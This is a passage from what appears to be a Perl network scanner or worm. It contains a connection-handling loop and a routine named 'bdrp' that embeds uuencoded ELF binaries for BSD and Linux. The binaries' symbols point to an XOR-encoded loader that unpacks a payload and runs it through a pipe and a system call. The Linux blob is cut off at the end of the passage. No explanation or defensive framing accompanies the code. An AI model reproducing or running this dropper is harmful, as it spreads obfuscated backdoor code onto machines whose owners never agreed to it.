$session->{$handle}{timeout} = 0;
}
else
{
next;
}
}
else
{
$session->{$handle}{timeout} = 0;
}
}
else
{
$test->{$session->{$handle}{result}}[0] = 1 if $result > 0;
$session->{$handle}{timeout} = 0;
}
}
elsif ($! == $ewblock)
{
next;
}
else
{
$session->{$handle}{timeout} = 0;
}
}
foreach my $handle ($writers->handles, $readers->handles)
{
if ($time >= $session->{$handle}{timeout})
{
$readers->remove($handle) if $readers->exists($handle);
$writers->remove($handle) if $writers->exists($handle);
delete $session->{$handle};
close $handle;
}
}
}
last;
}
}
sub bdrp
{
my $bdrp;
if ($^O =~ /bsd$/i)
{
$bdrp = <<'BDRPDATABSD';
M?T5,1@$!`0D```````````(``P`!````@(`$"#0```"H&0```````#0`(``"
M`"@`!P`$``$``````````(`$"`"`!`@!`P```0,```4`````$````0````0#
M```$DP0(!),$"'86``",&@``!@`````0``````````````````"))7RI!`B^
M!9,$"+D-````Z'D```#HH````+X3DP0(N6<6``#H90```+@$````BQV,J00(
MN1.3!`BZ9Q8``%)14U#-@',"]]B!Q!`````]``````^,+````#G0#X4D````
MN`8```"+'8RI!`A34,V`<P+WV('$"````#T`````#XP`````,<!`,=M34,V`
M,=M#0T-#NA````!67SG3=1.!^H````!U`C'2@<(0````,=M#K##8JD/BXL.*
M#023!`BX*@```+N`J00(4U#-@',"]]B!Q`@````]``````^,HO___X#Y"74%
MB0.)4P2X*@```+N(J00(4U#-@',"]]B!Q`@````]``````^,=?___X#Y"74%
MB0.)4P2X`@```%"`^0EU"\V`<P+WV.D"````S8"!Q`0````]``````^,0O__
M_P^$20```+@&````BQV$J00(4U#-@',"]]B!Q`@````]``````^,&/___[@&
M````BQV(J00(4U#-@',"]]B!Q`@````]``````^,]/[__\.*%023!`BX/P``
M`(#Z"74%N%H```"+'8BI!`@QR5%34,V`<P+WV('$#````#T`````#XR\_O__
MN#\```"`^@EU!;A:````BQV$J00(,<E!45-0S8!S`O?8@<0,````/0`````/
MC(K^__^X!@```(L=@*D$"%-0S8!S`O?8@<0(````/0`````/C&;^__^X!@``
M`(L=C*D$"%-0S8!S`O?8@<0(````/0`````/C$+^__^+)7RI!`B)YEE8XOV-
M5"0$B?2-3"0$NP63!`B@!),$"#P)=0ZX.P```%)14U#I!0```+@+````S8#I
M!/[__P````DK<'5U)VMC92-]:WUM`'%V8R=[?7AB;WDU+W1Q9B15251!43$K
M>7YK+UE>*"E'>G5\?6TA.VEN>S](33D^5F-K;6I^,"PI/B\M,3!B>71_>SHB
M.C]@/2,_$1H"3ET%`D)?2T9$3T8.$B$S,C\E:WXH+6]B?']A:&(Q+S,E("8L
M.'!\.S0Y0%``1%,#!DE/25U1"`(,5@X+54907UM671<%&0L*!QT:6FAR<6MB
M="<U*3LZ.38N<AIX=#,\,4A8.'QK.SY[;'I%0U%'!@P&7`@-3UQ.04%,6Q$/
M$P<`#1<<7%-+3E)936!\8G!R?F8Z:&\G*B4C9F8Z(G!Q9R9J:6!D*W<M:W=Y
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
M1Q8`!P,-&QE&4A\+`A\'%UM0'1<9'!4?4EP4&%\E<&9E86-U>R0T;G1D?7MR
M*B=L9&AC9&PC,"QN8F!C=#(W?'1X<W1\(3MA/6QZ=7=Q:CXF>BAT*G8&````
M+G-Y;71A8@`N<W1R=&%B`"YS:'-T<G1A8@`N=&5X=``N9&%T80`N8G-S````
M```````````````````````````````````````````````````;`````0``
M``8```"`@`0(@````($"`````````````!``````````(0````$````#````
M!),$"`0#``!V%@`````````````$`````````"<````(`````P```'RI!`A\
M&0``%`0`````````````!``````````1`````P``````````````?!D``"P`
M``````````````$``````````0````(``````````````,`:``!0`@``!@``
M`"$````$````$`````D````#```````````````0'0``K`$`````````````
M`0```````````````````````````````````("`!`@``````P`!```````$
MDP0(``````,``@``````?*D$"``````#``,``````````````````P`$````
M``````````````,`!0`````````````````#``8``0``````````````!`#Q
M_Q8````%@00(`````````0`;````#H$$"`````````$`(P```!N!!`@`````
M```!`#H````I@00(`````````0!1````,H$$"`````````$`:````#J!!`@`
M```````!`&T```!M@00(`````````0"&````FH$$"`````````$`GP```+"!
M!`@````````!`+@```"R@00(`````````0#1````$H($"`````````$`X0``
M`">"!`@````````!`/H```!8@@0(`````````0`3`0``]8($"`````````$`
M+`$``/J"!`@````````!`$4!```$DP0(`````````@!,`0``!9,$"```````
M``(`4P$```T```````````#Q_UH!```3DP0(`````````@!A`0``9Q8`````
M`````/'_:`$```$```````````#Q_W$!``!\J00(`````````P!X`0``@*D$
M"`````````,`?P$``(BI!`@````````#`(8!``"0J00(`````````P"-`0``
M@(`$"``````0``$`E`$``'JI!`@`````$`#Q_Z`!``!ZJ00(`````!``\?^G
M`0``D*T$"``````0`/'_`"XO+B]L;V%D97)?9G)E96)S9"YS`&5X:70`>&]R
M9&%T80!X;W)D871A+GAO<F1A=&%?;&]O<%\Q`'AO<F1A=&$N>&]R9&%T85]L
M;V]P7S(`>&]R9&%T82YX;W)D871A7VQO;W!?,P!P:7!E`'!I<&4N<&EP95]S
M:VEP7V9R965B<V1?,0!P:7!E+G!I<&5?<VMI<%]F<F5E8G-D7S(`<&EP92YP
M:7!E7W-K:7!?9G)E96)S9%\S`'!I<&4N<&EP95]S:VEP7V9R965B<V1?-`!P
M:7!E+G!I<&5?8VAI;&0`<&EP92YP:7!E7W-K:7!?9G)E96)S9%\U`'!I<&4N
M<&EP95]S:VEP7V9R965B<V1?-@!P:7!E+G!I<&5?<VMI<%]F<F5E8G-D7S<`
M<&EP92YP:7!E7W-K:7!?9G)E96)S9%\X`'-Y<W1E;0!A<F=V7S``87)G=E]S
M`'!?8V]D90!P7W-I>F4`4UE37V5X:70`<W1A8VMP`&9H86YD80!F:&%N9&(`
F8G5F9F5R`%]S=&%R=`!?7V)S<U]S=&%R=`!?961A=&$`7V5N9```
BDRPDATABSD
}
else
{
$bdrp = <<'BDRPDATALIN';
M?T5,1@$!`0````````````(``P`!````@(`$"#0```"H&0```````#0`(``"
M`"@`!P`$``$``````````(`$"`"`!`@!`P```0,```4`````$````0````0#
M```$DP0(!),$"'86``",&@``!@`````0``````````````````"))7RI!`B^
M!9,$"+D-````Z'D```#HH````+X3DP0(N6<6``#H90```+@$````BQV,J00(
MN1.3!`BZ9Q8``%)14U#-@',"]]B!Q!`````]``````^,+````#G0#X4D````
MN`8```"+'8RI!`A34,V`<P+WV('$"````#T`````#XP`````,<!`,=M34,V`
M,=M#0T-#NA````!67SG3=1.!^H````!U`C'2@<(0````,=M#K##8JD/BXL.*
M#023!`BX*@```+N`J00(4U#-@',"]]B!Q`@````]``````^,HO___X#Y"74%
MB0.)4P2X*@```+N(J00(4U#-@',"]]B!Q`@````]``````^,=?___X#Y"74%
MB0.)4P2X`@```%"`^0EU"\V`<P+WV.D"````S8"!Q`0````]``````^,0O__
M_P^$20```+@&````BQV$J00(4U#-@',"]]B!Q`@````]``````^,&/___[@&
M````BQV(J00(4U#-@',"]]B!Q`@````]``````^,]/[__\.*%023!`BX/P``
M`(#Z"74%N%H```"+'8BI!`@QR5%34,V`<P+WV('$#````#T`````#XR\_O__
MN#\```"`^@EU!;A:````BQV$J00(,<E!45-0S8!S`O?8@<0,````/0`````/
MC(K^__^X!@```(L=@*D$"%-0S8!S`O?8@<0(````/0`````/C&;^__^X!@``
M`(L=C*D$"%-0S8!S`O?8@<0(````/0`````/C$+^__^+)7RI!`B)YEE8XOV-
M5"0$B?2-3"0$NP63!`B@!),$"#P)=0ZX.P```%)14U#I!0```+@+````S8#I
M!/[__P````,K<'5U)VMC92-]:WUM`'%V8R=[?7AB;WDU+W1Q9B15251!43$K
M>7YK+UE>*"E'>G5\?6TA.VEN>S](33D^5F-K;6I^,"PI/B\M,3!B>71_>SHB
M.C]@/2,_$1H"3ET%`D)?2T9$3T8.$B$S,C\E:WXH+6]B?']A:&(Q+S,E("8L
M.'!\.S0Y0%``1%,#!DE/25U1"`(,5@X+54907UM671<%&0L*!QT:6FAR<6MB
M="<U*3LZ.38N<AIX=#,\,4A8.'QK.SY[;'I%0U%'!@P&7`@-3UQ.04%,6Q$/
M$P<`#1<<7%-+3E)936!\8G!R?F8Z:&\G*B4C9F8Z(G!Q9R9J:6!D*W<M:W=Y
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
